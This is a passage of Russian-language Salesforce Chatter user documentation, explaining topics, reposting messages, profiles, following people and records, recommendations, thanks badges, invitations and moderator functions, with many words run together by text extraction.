Чтобы отслеживать обновления темы, добавьте нужную тему в избранное.

1. Чтобы открыть страницу сведений о теме, щелкните имя нужной темы.

2. Щелкните значок в верхнем правом углу и выберите пункт «Добавить в
избранное».
Имя, отображаемое в избранном, соответствует названию темы.

Совет: Чтобыоткрыть страницу сведенийо теме припросмотре избранной темы,
щелкните имя нужной темы вверху ленты.

СМ. ТАКЖЕ:

Просмотр всех тем

Просмотр тем, обсуждаемых людьми

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Темы, обсуждаемыепользователем, отображаютсявразделе «Темынедавнихобсуждений»
профиля Chatter. Данный раздел содержит темы, интересующие пользователя или
являющиеся для него профильными; как правило, это популярные темы или темы,
добавленные в собственные или прокомментированные сообщения текущим или
другими пользователями в течение последних двух месяцев. Из соображений
конфиденциальности раздел «Темы недавних обсуждений» не содержит темы,
используемые исключительно в личных группах или лентах записей. Пользователю
доступно не более пяти тем; первой отображается самая популярная или недавно
добавленнаятема.Раздел «Темынедавнихобсуждений» отображаетсятолькоприусловии
использования тем в течение последних двух месяцев. Чтобы просмотреть страницу
сведений о теме, щелкните нужную тему в данном разделе.
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Прим.: Список «Профильные темы» ифункция «НавыкиWork.com», включенные в организации, заменяют раздел
«Темы недавних обсуждений» на страницах профиля.

Просмотр тем, обсуждаемых группами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Темы, обсуждаемые группой, отображаются в разделе «Темы недавних обсуждений»
страницысведенийогруппе. Данныйразделсодержиттемы, интересующиеучастников
группыили являющиеся длянихпрофильными; как правило, этопопулярные темыили
темы, добавленныевсообщениягруппывтечениепоследнихдвухмесяцев. Пользователю
доступно не более пяти тем; первой отображается самая популярная или недавно
добавленнаятема.Раздел «Темынедавнихобсуждений» отображаетсятолькоприусловии
использования тем в группе. Чтобы просмотреть страницу сведений о теме, щелкните
нужную тему в данном разделе.

Просмотр самых обсуждаемых тем компании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Раздел «Самые обсуждаемые темы» на вкладке Chatter отображает темы, обсуждаемые в
Chatter в настоящее время. Темы, добавляемые пользователями в сообщения и
комментарии или комментируемые или выбираемые в качестве понравившихся чаще
всего, становятсясамымиобсуждаемыми. Например, еслисотрудникипланируютпринять
участие впредстоящейконференции Dreamforce иактивнообсуждают эту тему вChatter,
то тема Dreamforce становится одной из самых обсуждаемых. Самая обсуждаемая тема
определяетсянетолькопоказателямипопулярности, и, какправило, относитсякразовому
или редкому событию, которое является актуальным на настоящий момент (например,
проведениеконференцииилиприближающийсясрок сдачипроекта).Изсоображений
конфиденциальностираздел «Самыеобсуждаемыетемы» несодержиттемы, используемые
исключительно в личных группах или лентах записей.

СМ. ТАКЖЕ:

Просмотр тем, обсуждаемых людьми

Просмотр тем, обсуждаемых группами
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Публикация сообщений

Публикация сообщения Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Публикацияпозволяетбыстроскопироватьобщедоступноесообщениевпрофильили
группу.

Общедоступные сообщения Chatter, содержащие текст, ссылки или файлы, могут быть
опубликованы в профиле пользователя, группе или посредством ссылки.

Ниже перечислены рекомендации по публикации сообщений.

• Сообщение может быть опубликовано в собственный профиль, но не в профили
других пользователей.

• В отличие от файлов и вложений, комментарии и предпочтения по исходному
сообщению не могут быть опубликованы.

• Опубликованное сообщение может быть прокомментировано, но не может быть
изменено.

• Отслеживаемые и настраиваемые элементы ленты (например, утверждения, снимки панели мониторинга или
взаимодействия обращений) не могут быть опубликованы.

• Сообщения могут быть опубликованы только в группы со своим участием.

• Сообщения могут быть опубликованы в группы, поддерживающие доступ клиентов. Тем не менее, клиенты и другие
участники группы не могут публиковать сообщения из личных групп.

• Обновление, опубликованное в виде ссылки посредством сообщения эл. почты илимгновенного сообщения, может
быть просмотрено только пользователями Chatter, являющимися сотрудниками компании.

В случае публикации сообщения другим пользователем текущему пользователю отправляется соответствующее
электронное уведомление. Чтобы изменить параметры электронных уведомлений, введите строку «Параметры эл.
почты Chatter» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры Chatter».

СМ. ТАКЖЕ:

Просмотр отдельного сообщения Chatter

Публикация сообщения Chatter в профиле пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы предоставить отслеживаемым пользователям доступ к общедоступному
сообщению, опубликуйте нужное сообщение в собственном профиле.

Пользователимогут публиковать общедоступные сообщения, но не могут публиковать
отслеживаемые элементы ленты и настраиваемые элементы ленты (например,
утверждения, снимки панели мониторинга или взаимодействия обращений).

1. Найдите нужное сообщение в ленте Chatter.

2. Нажмите кнопку «Опубликовать».

3. Введите комментарий к сообщению или пропустите текстовое поле.

4. Выберите пункт «Мой профиль» в раскрывающемся списке.

5. Нажмите кнопку «Опубликовать».
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Опубликованное сообщение появится в ленте Chatter, доступной в профиле пользователя.

СМ. ТАКЖЕ:

Доступность сообщений

Публикация сообщения Chatter в группе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Сообщения могут быть опубликованы только в группы со своим участием.

Пользователимогут публиковать общедоступные сообщения, но не могут публиковать
отслеживаемые элементы ленты и настраиваемые элементы ленты (например,
утверждения, снимкипанелимониторингаиливзаимодействияобращений).Сообщения
не могут быть опубликованы в архивные или неуказанные группы.

1. Найдите нужное сообщение в ленте Chatter.

2. Нажмите кнопку «Опубликовать».

3. Введите комментарий к сообщению или пропустите текстовое поле.

4. Выберите пункт «Группа» в раскрывающемся списке.

5. Чтобы выбрать группу из списка, введите часть имени нужной группы.

При публикации сообщения с файлом выберите уровень доступа «Гости», чтобы разрешить участникам группы
только просмотр файла, или «Соавторы», чтобы разрешить участникам группы загрузку и изменение файла.

6. Нажмите кнопку «Опубликовать».
Опубликованное сообщение появится в ленте группы.

СМ. ТАКЖЕ:

Доступность сообщений

Публикация ссылки на сообщение Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Сообщение может быть опубликовано для других пользователей Chatter посредством
сообщения эл. почты или мгновенного сообщения.

Ниже перечислены рекомендации по публикации ссылок на сообщения.

• Ссылка на сообщение из личной группы не может быть опубликована.

• Пользователи могут публиковать общедоступные сообщения, но не могут
публиковать отслеживаемые элементы ленты и настраиваемые элементы ленты
(например, утверждения, снимки панели мониторинга или взаимодействия
обращений).

• Сообщение, опубликованное в виде ссылки, может быть просмотрено только
пользователями Chatter.

1. Найдите нужное сообщение в ленте Chatter.

2. Нажмите кнопку «Опубликовать».

3. Щелкните «Показать ссылку на сообщение» в верхнем углу.

4. Скопируйте и вставьте ссылку в сообщение эл. почтыилимгновенное сообщение для дальнейшейотправкинужным
пользователям.
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Ссылка, выбранная получателем сообщения эл. почты или мгновенного сообщения, открывает сообщение в
обновлениях Chatter.

СМ. ТАКЖЕ:

Доступность сообщений

Просмотр отдельного сообщения Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

СообщениелентыChatterдляпользователя, записиилигруппыможетбытьпросмотрено
отдельно.

• Щелкните временную отметку под нужным сообщением ленты (например, «Вчера
в 12:57»).

• Чтобы просмотреть только связанное сообщение, щелкните ссылку в тексте
электронного уведомления Chatter.

• Чтобы просмотреть все обновления ленты, щелкните «Все обновления».

СМ. ТАКЖЕ:

Публикация ссылки на сообщение Chatter

Люди организации

Общие сведения о людях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Вкладка «Люди» и список «Люди» на вкладке Chatter содержат список пользователей
организации.

• Чтобы просмотреть профиль пользователя, щелкните его имя или фотографию.

• Чтобы обновления пользователя отображались в ленте Chatter, щелкните ссылку
«Отслеживать». Клиенты недоступны для отслеживания.

• Чтобыобновленияпользователябольшенеотображались в лентеChatter, щелкните
ссылку «Отслеживание».

• Чтобы отсортировать список, щелкните заголовок столбца.

– «Имя»: сортировка по имени (в алфавитном порядке). По умолчанию значения
списка отображаются в порядке убывания.

– «Отслеживание»: сортировка по отслеживаемым и неотслеживаемым
пользователям.

• Чтобы найти конкретного пользователя, введите часть его имени или фамилии в поле поиска, расположенное в
верхней части страницы. По мере ввода выполняется автоматическая фильтрация списка.

• Чтобыпросмотреть списокпользователей, фамилиикоторыхначинаются с определеннойбуквы, щелкнитенужную
букву вверху списка.

• Содержимое списка «Люди» определяется размером организации. Например, крупные организации позволяют
отображать пользователей только после начала поиска по имени пользователя. При вычислении примерного
количества пользователей, включая внутренних пользователей, пользователей сообществ и пользователей Chatter,
учитываются все типы лицензий пользователя Salesforce.
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Применениефильтра «Все люди»
по умолчанию

Представление по умолчаниюПримерное количество
пользователей

Все пользователи организацииВсе людиНе более 25

Люди, профили которых
просматривались недавно

Недавно просмотренные люди26 — 25 000

Никто (до начала поиска)Недавно просмотренные людиБолее 25 000

• Пригласите пользователей в сеть Chatter.Приглашенные пользователи могут просматривать профили, публиковать
сообщениялентыиприсоединятьсяк группам, нонемогутпросматриватьданныеилизаписиSalesforce, принадлежащие
отправителю приглашения.

• Просмотрите список пользователей, рекомендуемых сетью Chatter для отслеживания. Чтобы просмотреть все
рекомендации, щелкните«Дополнительно»вразделе «Рекомендованныелюди». Еслирекомендациинеотображаются,
следовательно, пользователь уже отслеживает всех рекомендованных людей.

Вкладки Chatter, «Люди», «Профиль», «Группы» и «Файлы» доступны в приложении Chatter по умолчанию. Выберите
приложениеChatter вменюприложений, расположенномв верхнемправомуглулюбойстраницы. Вкладки, добавленные
администратором в другие приложения, будут доступны пользователю в этих приложениях только в том случае, если
ранее не была выполнена настройка параметров отображения. В этом случае пользователю придется самостоятельно
добавить вкладки в данные приложения.

СМ. ТАКЖЕ:

Модераторы Chatter

Общие сведения о профиле Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Профиль Chatter может быть дополнен фотографией и личной информацией,
позволяющей лучше узнать пользователя.

Чтобыпросмотретьсобственныйпрофиль, щелкнитесобственноеимявлюбойобласти
приложения. При необходимости откройте вкладку «Профиль» или выберите пункты
Имя пользователя  > «Мой профиль» вверху любой страницы. Чтобы просмотреть
профиль другого пользователя, щелкните имя нужного пользователя.

Ниже перечислены действия, доступные на данной странице.

1. Измените фотографию для профиля.

2. Чтобы изменить контактные данные, щелкните значок в разделе «Контакт».

3. Просмотритесодержимоеразныхвкладок. Вкладкинастраиваютсяадминистратором,
которыйможет добавлять настраиваемые вкладкиили удалять стандартные вкладки.

• Вкладка «Лента»: просмотрите ленту Chatter или опубликуйте обновление.

• Вкладка «Общие сведения»: обновите раздел «Обо мне», просмотрите действия в сообществе «Вопрос и ответ»
или «Идеи», просмотрите группы или просмотрите списки отслеживающих и отслеживаемых.

4. Измените профиль или откройте личные параметры.
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Прим.: Припросмотре профиля другого пользователя отображаются дополнительные параметры. Например,
дополнительные параметры позволяют начать или отменить отслеживание пользователя, либо отправить ему
личное сообщение.

СМ. ТАКЖЕ:

Рекомендации по профилям

Рекомендации по людям

Просмотр действий в сообществах «Идеи» и «Вопросы»

Индивидуальная настройка системы Salesforce

Редактирование личных сведений

Рекомендации по профилям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ниже перечислены рекомендации по использованию профилей.

• Сведения, указанные в разделе «Обо мне», доступны для поиска и расширяют
доступность пользователя.

• Сообщения пользователя отображаются на вкладке «Лента» и в лентах
отслеживающих. Чтобы удалить сообщения из лент, наведите указатель мыши на
нужное сообщение и щелкните значок .

• Чтобы изменить адрес эл. почты, указанный в контактных данных, воспользуйтесь
ссылкой в электронном подтверждении, отправленном на новый адрес эл. почты.

• Профили назначаются не всем пользователям. Профили не назначаются
пользователямпорталаипользователюподключенияворганизациях, использующих
функцию Salesforce to Salesforce.

Использование списков отслеживающих и отслеживаемых

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Списки «Отслеживание» и «Отслеживающие» впрофилепользователясодержатсведения
об отслеживаемых элементах и их количестве, а также отслеживающих пользователях.
Чтобыоткрытьсписок «Люди» иначатьотслеживаниепользователей, щелкнитессылку
«Найтилюдейдляотслеживания» в списке «Отслеживание». Списки «Отслеживание»
и «Отслеживающие» также доступныдля просмотра в профилях другихпользователей.

Прим.: После включения Chatter пользователь автоматически отслеживает
некоторых людей и записи в организации.

Чтобыпросмотретьполныйсписокв алфавитномпорядке, щелкнитессылку«Показать
все» в любом списке.

• Чтобы ознакомиться с полным списком, щелкните «Далее» или «Назад».

• Список «Отслеживание» можетбытьотфильтрованпопользователямилиобъектам,
например, по организациям или контактам.

• Всписке «Отслеживание» текущегопользователя: чтобыотменитьотслеживаниепользователяилизаписи, щелкните
значок .

• В списке «Отслеживание» другого пользователя: чтобы начать отслеживание пользователя или записи, щелкните
«Отслеживать».
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• Всписке «Отслеживающие»: чтобыначатьотслеживаниепользователя, щелкните ссылку «Отслеживать». Чтобы
отменить отслеживание пользователя, щелкните значок .

• Чтобы закрыть окно, нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Доступность сообщений

Рекомендации по людям

Рекомендации по людям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Chatter рекомендует тех пользователей организации, чьи интересы схожи с интересами
текущего пользователя.Например, сеть Chatter рекомендует пользователей, которые:

• отслеживают тех же людей, что и текущий пользователь;

• встречаютсявиерархииуправления, например, менеджер, собственныеподчиненные
и подчиненные менеджера.

СистемаSalesforceвыбираетрекомендациипополю «Менеджер» настраницеличных
сведений. Сеть Chatter рекомендует пользователей на основе иерархии управления
только в том случае, если это поле заполнено. Поле «Менеджер» может
редактироваться только администратором Salesforce.

• являютсяпопулярными, тоестьотслеживаютсябольшимколичествомпользователей;

• являются новичками в сети Chatter;

• интересуются теми же записями, что и текущий пользователь. Например, рекомендуются те пользователи, которые
внесли изменения в недавно просмотренные организации.

• отслеживаются вместе с отслеживаемыми пользователями. Например, пользователю, отслеживающему действия
Ирины Захаровой, рекомендуется Елена Петрова, если они одновременно отслеживаются группой пользователей.

Чтобыпросмотретьрасширенныйсписокрекомендаций, щелкнитессылку «Дополнительно» вразделе «Рекомендации».
Если рекомендации не отображаются, следовательно, пользователь уже отслеживает всех рекомендованных людей.

СМ. ТАКЖЕ:

Общие сведения о профиле Chatter

Выражение благодарности сотрудникам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии при использовании
Chatter.

Пользователи могут награждать сотрудников эмблемами и публиковать свои
благодарности прямо в ленту Chatter.

Прим.: При использовании лицензии Chatter Free функция «Благодарность»
отличается наличием некоторых ограничений.

Функция «Награды» требует наличия лицензии на компонентWork.com. Данная
лицензия поддерживает вручение, создание и получение эмблем, связанных с
наградами.

Чтобы выразить признание за проделанную работу или достигнутые результаты,
воспользуйтесь благодарностью.
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Просмотреть обзор: Поблагодарить в Chatter

1. Щелкните ссылку «Благодарность» в публикаторе Chatter.

Еслиэлемент «Спасибо»неотображается, щелкните «Подробнее»ивыберите «Спасибо» враскрывающемсяменю
издателя.

2. Введите имя нужного пользователя.

Внастоящеевремясистемапозволяетодновременноблагодаритьтолькоодногопользователя, норазрешаетупоминать
других пользователей в сообщении.

3. Чтобы выбрать другую эмблему, щелкните ссылку «Изменить эмблему». В противном случае воспользуйтесь
стандартной эмблемой.

Пользователям доступно 12 предопределенных эмблем. Чтобы просмотреть дополнительную информацию об
эмблеме, щелкните изображение нужной эмблемы.

4. Введите сообщение для пользователя, которому выражается благодарность.

5. Выберите нужную аудиторию.

• «Мои отслеживающие»: доступно всем отслеживающим.

• «Группа»: доступно только определенной группе. Найдите и выберите нужную группу из списка. Пользователь,
которому выражается благодарность, @упоминается в начале сообщения. Сообщение, опубликованное в личную
группу, доступно только ее участникам. Тем не менее, эмблема будет также отображаться на вкладке «Признание»
профиля получателя.

6. Нажмите кнопку «Опубликовать».

Сообщение-благодарность добавляется в собственную ленту и ленту соответствующего пользователя. Сообщение,
опубликованное в общедоступную группу или на страницу записи, добавляется в ленту группы или записи и профиль
пользователя. Сообщение, опубликованное в личную группу, доступно только ее участникам. Тем не менее, эмблема
будет также отображаться на вкладке «Признание» профиля получателя.

Списки «Собственные файлы» на страницах профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Список «Собственныефайлы» впрофилепользователяотображаетфайлы, добавленные
последними в сообщение Chatter.

Список содержитфайлы, добавленные ответственным за профиль в сообщение ленты
в профиле, группе или на странице записи, либо загруженные в библиотеки Salesforce
CRM Content. Наведите указатель мыши для просмотра доступных параметров или
щелкните имя файла для открытия соответствующей страницы сведений.

Чтобы просмотреть список всех файлов, вложенных и загруженных ответственным за
профиль, щелкните ссылку «Показать все». Список не содержит недоступныефайлы,
документы со вкладки «Документы» и вложения из связанного списка «Примечания и
вложения». Ниже перечислены действия, доступные в данном списке.

• Загрузка личных файлов, либо предоставление общего доступа к файлам людям,
группам или по ссылке.

• Предварительный просмотр файла (при его наличии).

• Отслеживание файла для получения обновлений в ленте.
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• Выбор имени файла для просмотра страницы сведений о файле.

СМ. ТАКЖЕ:

Фильтрация списка файлов

Активность и влияние Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Просмотрите личную статистику по действиям Chatter (например, количество
опубликованныхсообщенийиполученныхпредпочтений) ипроверьтеотносительное
влияние Chatter.

Статистика по действиям Chatter определяет количество собственных сообщений и
комментариев, количество комментариев, добавленных другими пользователями, и
количествопользователей, которымпонравились сообщенияи комментарии текущего
пользователя.ВлияниеChatterопределяетсоотношениедействийтекущегопользователя
с действиями других пользователей.

• Популярные агенты влияния принимают активное участие во многих социальных
сетях и регулярно делятся ценным содержимым.

• Активные агенты влияния побуждают других пользователей к участию и
предоставлению информации.

• Наблюдатели принимают пассивное участие или только зарегистрировались в Chatter.

СтатистикаподействиямивлияниеChatterотображаютсяподфотографиейпользователявпрофиле. Чтобыпросмотреть
статистикуподействиямивлияниеChatterдля своихколлег, откройтепрофильнужногопользователя. Чтобыпросмотреть

дополнительную информацию о влиянии пользователя, наведите указатель мыши на значок , расположенный под
фотографией для профиля.

СМ. ТАКЖЕ:

Общие сведения о профиле Chatter
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Приглашение людей в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы пригласить
пользователей в Chatter,
выполните указанные ниже
действия.
• «Разрешить отправку

приглашений»

Сотрудники компании, не имеющиелицензий Salesforce, могут быть приглашеныв сеть
Chatter. Приглашенные пользователи могут просматривать профили, публиковать
сообщения ленты и присоединяться к группам, но не могут просматривать данные или
записи Salesforce, принадлежащие отправителю приглашения.

Чтобы пригласить пользователей в Chatter, выполните указанные ниже действия.

1. Щелкните «Пригласить людей в Chatter» на странице «Люди» или «Пригласить
коллег!» на странице Chatter.

Прим.: Разрешается приглашать только тех пользователей, адреса эл. почты
которых относятся к корпоративным доменам.

Пользователи портала не могут отправлять приглашения.

2. Чтобы отправить приглашение посредством сети Chatter, введите нужные адреса эл.
почты и нажмите кнопку «Отправить».

3. Чтобы отправить приглашение по эл. почте, щелкните ссылку «отправить
собственноеэлектронноеприглашение». Еслистандартныенастройкипочтового
приложениянеизменены, тосообщениеэл. почты, содержащеессылкудляпросмотра
приглашения, откроется в используемой почтовой программе. В противном случае
отображаемая ссылка должна быть скопирована и вставлена в сообщение эл. почты.

Также сотрудники компании, не являющиеся пользователями Chatter, могут быть
приглашенывобщедоступные группы. Крометого, ответственныеименеджерыличных
группмогутотправлятьприглашения. Есливорганизациивключенаподдержка клиентскихприглашений, томенеджеры
и ответственные могут также отправлять приглашения своим клиентам. Пользователи, принявшие приглашение на
участие в группе, также становятся участниками сети Chatter.

1. Щелкните ссылку «Группы» и выберите имя нужной группы.

2. Щелкните ссылку «Пригласить людей» в разделе «Участники» страницы сведений о группе.

Приналичииполномочияответственногоилименеджерагруппыщелкнитессылку«Добавить/удалитьучастников»,
а затем «Пригласить их в Salesforce Chatter!».

3. Введите адреса эл. почты и нажмите кнопку «Отправить».

Прим.: Еслипользовательне принялприглашение в течениепервого дня, то на следующийдень ему отправляется
электронное напоминание. Chatter отправляет напоминания до тех пор, пока приглашение не будет принято.

Приглашение в Chatter действительно в течение 60 дней. Если в течение этого времени администратор снимет
флажок «Разрешить отправку приглашений» или удалит домен пользователя из списка, то этот пользователь не
сможет принять приглашение.

Если организация использует единую регистрацию с делегированной проверкой подлинности, то приглашенные
пользователи минуют страницу регистрации пароля. Пользователи не смогут принять приглашение, если
используемые ими имена уже существуют.

СМ. ТАКЖЕ:

Общие сведения о клиентах Chatter в личных группах
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Модерирование пользователей Chatter Free

Модераторы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для модерирования сети
Chatter:
• «Модерирование

Chatter»

Модератор — это пользователь Chatter, которому предоставлены дополнительные
полномочия. Например, модератор может:

• Активировать или деактивировать пользователей Chatter Free

• Назначить пользователя Chatter Free в качестве модератора или лишить его этой
привилегии

• Удалить доступные сообщения и комментарии

Если пользователь является модератором, то над его фотографией отображается
соответствующая надпись.

СМ. ТАКЖЕ:

Действия, доступные пользователям посредством роли в группе Chatter

Назначение привилегий модератора пользователям Chatter Free

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения привилегий
модератора пользователям
Chatter Free:
• «Модерирование

Chatter»

Модератор может назначить привилегии модератора пользователям Chatter Free. При
необходимости эти привилегии могут быть отменены.

1. Чтобыоткрытьпрофильдругогопользователя, щелкните егоимяна вкладке «Люди»
или в ленте.

2. При необходимости выполните указанные ниже действия посредством меню
действий пользователя на странице профиля.

• Чтобы предоставить пользователю полномочия модератора, выберите
«Назначить привилегии модератора».
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• Чтобы лишить модератора его полномочий, выберите «Удалить привилегии модератора».

СМ. ТАКЖЕ:

Изменение ролей в группе Chatter

Деактивация пользователей Chatter Free

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для деактивации
пользователей Chatter Free:
• «Модерирование

Chatter»

МодераторможетдеактивироватьпользователейChatter Free (например, пользователей,
которые больше не являются сотрудниками компании).

1. Чтобыоткрытьпрофильдругогопользователя, щелкните егоимяна вкладке «Люди»
или в ленте.

2. Выберитепараметр «Деактивироватьпользователя» вменюдействийнастранице
профиля.

Чтобы повторно активировать пользователя Chatter Free, найдите профиль нужного
пользователя посредством функции глобального поиска, так как деактивированные
пользователи не отображаются на вкладке «Люди». Чтобы активировать пользователя, выполните указанные ниже
действия.

1. Найдите профиль нужного пользователя с помощьюфункции глобального поиска.

2. В профиле нажмите кнопку «Управлять пользователем» и выберите «Активировать пользователя».

СМ. ТАКЖЕ:

Что происходит в результате деактивации ответственного за группу Chatter?
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Просмотр обновлений для записей и списковых представлений

Автоматическое отслеживание созданных записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записи:
• «Чтение» для записи

Лента Chatter содержит обновления для созданных записей только в случае изменения
их отслеживаемых полей.

По умолчанию созданные записи не отслеживаются автоматически. Чтобы включить
функциюавтоматическогоотслеживаниясозданныхзаписей, настройтесоответствующие
параметры Chatter.

1. Введите строку «Мои ленты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мои ленты».

2. Установите флажок «Автоматически отслеживать созданные записи».

3. Нажмите кнопку «Сохранить».

Ниже перечислены рекомендации по автоматическому отслеживанию записей.

• Ответственный за родительскую запись по умолчанию становится ответственным
за дочернюю запись после ее создания. Автоматическое отслеживание доступно
только для ответственного за родительскую запись.

• Изменение ответственного за организацию инициирует обновление поля записи
«Ответственный за организацию». Автоматическое отслеживание организации
новым ответственным выполняется только в том случае, если поле «Ответственный
за организацию» поддерживает функцию отслеживания лент, а новому
ответственному доступна функция автоматического отслеживания.

• Изменение поля «Ответственный за организацию» при создании записи блокирует автоматическое отслеживание
организации пользователем, создавшим запись.

Рассмотримсценарийниже. Пользовательсоздаетзапись. Сохранениезаписиинициируетвыполнениебизнес-правила,
сохраняющегозаписьпослепереназначенияполя «Ответственный за организацию» другомупользователю. Другими
словами, поле «Ответственный за организацию изменяется до сохранения записи. Таким образом, автоматическое
отслеживание записи не выполняется, так как пользователь, создавший запись, не несет за нее ответственность.

СМ. ТАКЖЕ:

Просмотр лент записей

Рекомендации по записям

Индивидуальная настройка системы Salesforce
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Просмотр лент записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы просмотреть обновления для записи, воспользуйтесь лентой Chatter, связанной
с отслеживаемой записью.

Лентызаписейпозволяютотслеживать сведениядлядоступныхзаписей. Чтобыоткрыть
ленту записи над сведениями об организации, щелкните ссылку «Показать ленту» на
странице сведений о записи.

Ниже перечислены действия, доступные в ленте записи.

• Просмотр сообщений, комментариев и изменений отслеживаемых полей

• Создание и публикация обновления для записи

Обновленияна странице сведенийо записитакжеотображаютсяна страницеChatter
пользователей, отслеживающих запись, и в ленте «Вся компания» пользователей,
имеющих доступ к данной записи.

• Просмотр отслеживающих запись

• Поиск по ленте записи ( )

Прим.: Результаты поиска не содержат изменения, внесенные в поля записей.

Можно ли создавать настраиваемые отчеты по отслеживаемым записям?

В настоящее время отчеты не могут быть созданы по записям, отслеживаемым в сети Chatter.

СМ. ТАКЖЕ:

Люди и записи, отслеживаемые по умолчанию

Могут ли другие пользователи отслеживать мои записи?

Да, при условии, что им уже доступна ваша запись. Пользователи могут отслеживать только доступные им записи, и,
следовательно, могут просматривать обновления только для этих записей.

СМ. ТАКЖЕ:

Рекомендации по записям
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Рекомендации по записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Благодаряфункцииотслеживания записей, пользователимогут всегда быть в курсе всех
важных изменений, внесенных в организации, контакты, возможности и т. д. Chatter
рекомендует собственные записи (если эти записи еще не отслеживаются), записи,
которые просматривались или изменялись пользователем, а также родительские
организации отслеживаемых записей.

Chatterнерекомендует записи, длякоторыхадминистраторSalesforceотключилфункцию
отслеживания лент. Рекомендации по записям относятся только к возможностям,
организациям, интересам, контактам и статьям.

Чтобы просмотреть расширенный список рекомендаций, щелкните ссылку
«Дополнительно» в разделе «Рекомендации». Чтобы просмотреть рекомендуемые
записи для определенного объекта, выберите нужный объект на боковой панели.
Например, чтобы просмотреть только рекомендуемые организации, выберите объект
«Организации».

Если рекомендации не отображаются, следовательно, пользователь уже отслеживает все рекомендованные записи.

СМ. ТАКЖЕ:

Просмотр лент записей

Просмотр лент Chatter в списковых представлениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы просмотреть обновления для записей, добавленных в списковое представление,
откройте ленту Chatter объекта прямо из спискового представления.

Если организация использует Chatter, то ленты Chatter поддерживаются списковыми
представлениямибольшинстваобъектов, отслеживаемыхлентами. Некоторыеобъекты,
отслеживаемыелентами, неподдерживаютлентуChatter, связаннуюс соответствующим
списковым представлением. В настоящее время ленты Chatter могут быть просмотрены
в списковых представлениях возможностей, организаций, обращений, интересов,
кампаний, контактов и настраиваемых объектов.

• Чтобы просмотреть ленту Chatter, содержащую обновления для записей данного
спискового представления, добавленные за последние 30 дней, нажмите кнопку
«Сhatter» в списковом представлении стандартного или настраиваемого объекта.

Если организация используетфункциюпланирования с помощьюперетаскивания
